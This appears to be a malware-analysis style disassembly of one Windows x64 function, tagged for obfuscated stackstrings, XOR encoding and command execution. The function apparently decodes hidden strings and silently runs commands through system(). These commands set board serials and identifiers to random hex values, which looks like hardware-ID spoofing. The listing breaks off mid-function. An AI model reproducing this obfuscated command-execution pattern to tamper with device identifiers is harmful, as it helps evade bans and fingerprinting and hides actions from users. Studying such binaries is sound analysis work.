Function at 0x140049410
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x378]
sub rsp, 0x450
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x1401c7f00]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
xor esi, esi
mov dword [rsp + 0x40], esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
movups xmm0, xmmword [0x1401aa790]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1401aa7a0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1401aa7b0]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x1401aa7c0]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x1401aa7d0]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [0x1401aa7e0]
movups xmmword [rbp + 0x140], xmm1
movsd xmm0, qword [0x1401aa7f0]
movsd qword [rbp + 0x150], xmm0
mov r8d, esi
movdqa xmm7, xmmword [0x1401aafe0]
movdqa xmm11, xmmword [0x1401ab040]
movdqa xmm8, xmmword [str.33337777]
movdqa xmm6, xmmword [0x1401ab420]
movdqa xmm9, xmmword [0x1401aaf50]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14004961f
mov edx, esi
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp + 0xf4]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x68
jl 0x140049532
jmp 0x140049659
lea r9, [rbp + 0xf0]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x68
jl 0x140049630
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401aa820]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1401aa830]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1401aa840]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x1401aa850]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x1401aa860]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [0x1401aa870]
movups xmmword [rbp + 0x140], xmm1
mov eax, dword [0x1401aa880]
mov dword [rbp + 0x150], eax
mov r8d, esi
cmp ebx, 2
jl 0x1400497e3
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp + 0xf4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400496f0
cmp r8d, 0x64
jge 0x140049823
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x64
jl 0x1400497f0
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401aaa70]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1401aaa80]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1401aaa90]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x1401aaaa0]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [str._n_bxvowvwvjpr_a_z_giegfbbg_v_f40_3:_t]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [0x1401aaac0]
movups xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [0x1401aaad0]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [0x1401aaae0]
movups xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [0x1401aaaf0]
movups xmmword [rbp + 0x170], xmm0
movsd xmm0, qword [0x1401aab00]
movsd qword [rbp + 0x180], xmm0
mov r8d, esi
cmp ebx, 2
jl 0x1400499d0
mov edx, esi
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp + 0xf4]
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x1400498e0
jmp 0x140049a0c
lea r9, [rbp + 0xf0]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x1400499e0
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
mov r14d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x40], r14d
mov r15d, ntohs
mov edi, r15d
lea r12, str.0123456789ABCDEF
movzx ebx, byte [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r12]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
cmp rcx, rdx
jae 0x140049a8c
lea rax, [rcx + 1]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140049a9e
movzx r8d, bl
mov edx, 1
lea rcx, [rbp - 0x60]
call fcn.140057430
sub rdi, 1
jne 0x140049a51
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
sub rax, r8
mov edi, 0x2e
lea r13, str.cd_C:WindowsSystem32__AsDeviceCheck__BS__
cmp rax, rdi
jb 0x140049b3e
lea rax, [r8 + 0x2e]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x60]
lea rax, [0x1401a9f2e]
cmp rax, rbx
jbe 0x140049aff
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140049aff
cmp rbx, r13
ja 0x140049af7
mov r12, rsi
jmp 0x140049b02
mov r12, rbx
sub r12, r13
jmp 0x140049b02
mov r12, rdi
inc r8
lea rcx, [rbx + 0x2e]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
sub r8, r12
lea rdx, [0x1401a9f2e]
add rdx, r12
lea rcx, [rbx + r12]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x60]
jmp 0x140049b5d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.140057c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], rsi
mov byte [rax], 0
or r14d, 0x20
mov dword [rsp + 0x40], r14d
mov r8d, ntohs
lea rdx, str.____NUL_2_1
lea rcx, [rbp + 0x50]
call fcn.140036e70
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or r14d, 0x40
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140049c24
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049c1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049c1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqa xmm10, xmmword [0x1401aaf20]
movdqu xmmword [rbp + 0x60], xmm10
mov byte [rbp + 0x50], 0
and r14d, 0xffffffef
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140049c7a
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049c74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049c74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
bts r14d, 8
mov dword [rsp + 0x40], r14d
movzx ebx, byte [rsp + 0x30]
lea r13, str.0123456789ABCDEF
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
cmp rcx, rdx
jae 0x140049ce2
lea rax, [rcx + 1]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x80]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140049cf4
movzx r8d, bl
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140057430
sub r15, 1
jne 0x140049ca7
btr r14d, 8
bts r14d, 7
mov r8, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, r8
lea r12, str.cd_C:WindowsSystem32__AsDeviceCheck__SS__
cmp rax, 0x2e
jb 0x140049d98
lea rax, [r8 + 0x2e]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x80]
lea rax, [0x1401a9f5e]
cmp rax, rbx
jbe 0x140049d5b
lea rax, [rbx + r8]
cmp r12, rax
ja 0x140049d5b
cmp rbx, r12
ja 0x140049d53
mov r15, rsi
jmp 0x140049d5e
mov r15, rbx
sub r15, r12
jmp 0x140049d5e
mov r15, rdi
inc r8
lea rcx, [rbx + 0x2e]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
sub r8, r15
lea rdx, [r12 + 0x2e]
add rdx, r15
lea rcx, [rbx + r15]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x80]
jmp 0x140049db7
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140057c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], rsi
mov byte [rax], 0
bts r14d, 9
mov r8d, ntohs
lea rdx, str.____NUL_2_1
lea rcx, [rbp + 0x70]
call fcn.140036e70
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r14d, 0xa
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140049e84
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049e7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049e7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x80], xmm10
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140049ecf
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049eca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049eca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
mov r8d, 0x3c
lea rdx, str.cd_C:WindowsSystem32__AsDeviceCheck__SU_auto___NUL_2_1
lea rcx, [rbp + 0x290]
call fcn.14003f950
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x280], xmm1
mov r8d, 0x50
lea rdx, str.cd_C:WindowsSystem32__AsDeviceCheck__SK__To_Be_Filled_By_O.E.M.____NUL_2_1
lea rcx, [rbp + 0x270]
call fcn.14003f950
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
mov r8d, 0x51
lea rdx, str.cd_C:WindowsSystem32__AsDeviceCheck__PSN__To_Be_Filled_By_O.E.M.____NUL_2_1
lea rcx, [rbp + 0x250]
call fcn.14003f950
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
bts r14d, 0xb
mov dword [rsp + 0x40], r14d
mov r15d, reloc.WS2_32.dll_listen
movzx ebx, byte [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
cmp rcx, rdx
jae 0x140049fd3
lea rax, [rcx + 1]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x40]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140049fe5
movzx r8d, bl
mov edx, 1
lea rcx, [rbp - 0x40]
call fcn.140057430
sub r15, 1
jne 0x140049f98
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
sub rax, r8
lea r12, str.cd_C:WindowsSystem32__AsDeviceCheck__CS__
cmp rax, 0x2e
jb 0x14004a081
lea rax, [r8 + 0x2e]
mov qword [rbp - 0x30], rax
lea rbx, [rbp - 0x40]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x40]
lea rax, [0x1401aa086]
cmp rax, rbx
jbe 0x14004a042
lea rax, [r8 + rbx]
cmp r12, rax
ja 0x14004a042
cmp rbx, r12
ja 0x14004a03a
mov r15, rsi
jmp 0x14004a045
mov r15, rbx
sub r15, r12
jmp 0x14004a045
mov r15, rdi
inc r8
lea rcx, [rbx + 0x2e]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
sub r8, r15
lea rdx, [0x1401aa086]
add rdx, r15
lea rcx, [rbx + r15]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x40]
jmp 0x14004a0a0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
xor r9d, r9d
movzx r8d, byte [rsp + 0x30]
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.140057c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rax + 0x10], rsi
mov byte [rax], 0
bts r14d, 0xc
mov dword [rsp + 0x40], r14d
mov r8d, ntohs
lea rdx, str.____NUL_2_1
lea rcx, [rbp + 0x90]
call fcn.140036e70
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r14d, 0xd
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14004a17e
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a179
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a179
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0xa0], xmm10
mov byte [rbp + 0x90], 0
btr r14d, 0xb
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14004a1d2
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a1cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a1cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
bts r14d, 0xe
mov dword [rsp + 0x40], r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
movzx ebx, byte [rsp + 0x30]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a23c
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a24f
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a28f
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a2a2
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a2e2
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a2f5
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a335
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a348
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a388
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a39b
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a3db
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a3ee
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a42e
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a441
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xf
movzx r9d, byte [rax + r13]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x14004a481
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14004a494
movzx r8d, bl
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140057430
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, r8
lea r12, str.cd_C:WindowsSystem32__AsDeviceCheck__CA__
cmp rax, 0x2e
jb 0x14004a52e
lea rax, [r8 + 0x2e]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x60]
lea rax, [0x1401aa0b6]
cmp rax, rbx
jbe 0x14004a4f0
lea rax, [rbx + r8]
cmp r12, rax
ja 0x14004a4f0
cmp rbx, r12
ja 0x14004a4e8
mov r15, rsi
jmp 0x14004a4f3
mov r15, rbx
sub r15, r12
jmp 0x14004a4f3
mov r15, rdi
inc r8
lea rcx, [rbx + 0x2e]
